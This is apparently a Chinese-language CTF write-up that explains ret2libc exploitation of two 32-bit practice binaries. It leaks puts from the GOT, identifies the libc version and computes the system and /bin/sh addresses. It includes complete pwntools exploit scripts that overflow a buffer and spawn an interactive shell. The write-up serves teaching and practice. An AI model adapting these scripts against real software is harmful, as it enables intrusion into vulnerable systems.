binary3
32位binary,开启NX和Partial RELR0保护机制。
没有system
函数和字符串/bin/sh
。
1、IDA
binary中存在溢出点,溢出空间为112。
2、libc
libc是C语言库。而libc.so 是 linux 下 C 语言库中的运行库glibc 的动态链接版。
libc.so 中包含了大量的可以利用的函数,包括system()、execve()
等系统级函数和字符串/bin/sh
。
既然binary中没有system
函数和字符串/bin/sh
,那么可以考虑将通过泄露出libc.so中system和/bin/sh
的地址,然后劫持控制流执行system('/bin/sh')
,即可达到getshell目的。
3、libc.so-version
如何泄露出libc.so中system和/bin/sh
的地址?libc.so具有以下特性:
- libc.so 动态链接库中的函数之间相对偏移固定。
- 每个函数的地址最低的12位并不会发生改变。(即便开启PIE)
search libc.so:
https://github.com/niklasb/libc-database
https://libc.blukat.me/
由此,可以通过泄露出某个函数地址,然后通过最低12位来确定libc.so的版本,进而确定system和/bin/sh
的地址。
4、link-function-addr
如何泄露出libc.so中system和/bin/sh
的地址?我们知道,libc延迟绑定机制会形成got表项,got表项中会含有已经执行过的函数的地址。
所以我们可以通过劫持控制流到got表中特定的函数,泄露出其在内存中的地址,同时通过最低12位来确定libc.so的版本确定其在libc.so中的地址和system和/bin/sh
的地址,最后计算出固定的相对偏移量,再计算出system和/bin/sh
的真实地址。
5、pwn
6、exploit
libc.so-version:
1 2 3 4 5 6 7 8 9 10 11
| from pwn import * offset = 112 p = process('./ret2libc3') elf = ELF('./ret2libc3') puts_plt_addr = elf.plt['puts'] puts_got_addr = elf.got['puts'] main_plt_addr = elf.symbols['_start']//程序最初执行地址。 payload = flat(['\x90'*offset,puts_plt_addr,main_plt_addr,puts_got_addr]) p.sendlineafter('?',payload) puts_addr = u32(p.recv()[0:4]) print hex(puts_addr)
|
1 2 3
| system_libc_addr = 0x03ada0 puts_libc_addr = 0x05fca0 str_bin_sh = 0x15ba0b
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import * offset = 112 p = process('./ret2libc3') elf = ELF('./ret2libc3') puts_plt_addr = elf.plt['puts'] puts_got_addr = elf.got['puts'] main_plt_addr = elf.symbols['_start'] payload = flat(['\x90'*offset,puts_plt_addr,main_plt_addr,puts_got_addr]) p.sendlineafter('?',payload) puts_addr = u32(p.recv()[0:4])
system_libc_addr = 0x03ada0 puts_libc_addr = 0x05fca0 str_bin_sh = 0x15ba0b
libc_base_addr = puts_addr - puts_libc_addr system_addr = libc_base_addr + system_libc_addr binsh_addr = libc_base_addr + str_bin_sh payload1 = flat(['\x90'*offset,system_addr,0xdeadbeef,binsh_addr]) p.sendline(payload1) p.interactive()
|
train.cs.nctu.edu.tw: ret2libc
1、checksec
开启NX和Partial RELR0,同时泄露出/bin/sh
和puts
的地址。
binary中没有system
的地址。
2、IDA
溢出空间=0x14+4+4+4=32。
3、pwn
4、exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import * from LibcSearcher import LibcSearcher offset = 32 p = process('./ret2libc') p.recvuntil('is ') binsh_addr = int(p.recvuntil('\n'),16) print hex(binsh_addr) p.recvuntil('is ') puts_addr = int(p.recvuntil('\n'),16) print hex(puts_addr)
libc=LibcSearcher('puts',puts_addr) libc_base_addr = puts_addr - libc.dump('puts') system_addr = libc_base_addr + libc.dump('system')
payload = flat(['\x90'*offset,system_addr,0xdeadbeef,binsh_addr]) p.sendline(payload) p.interactive()
|
reference
github-ctf-wiki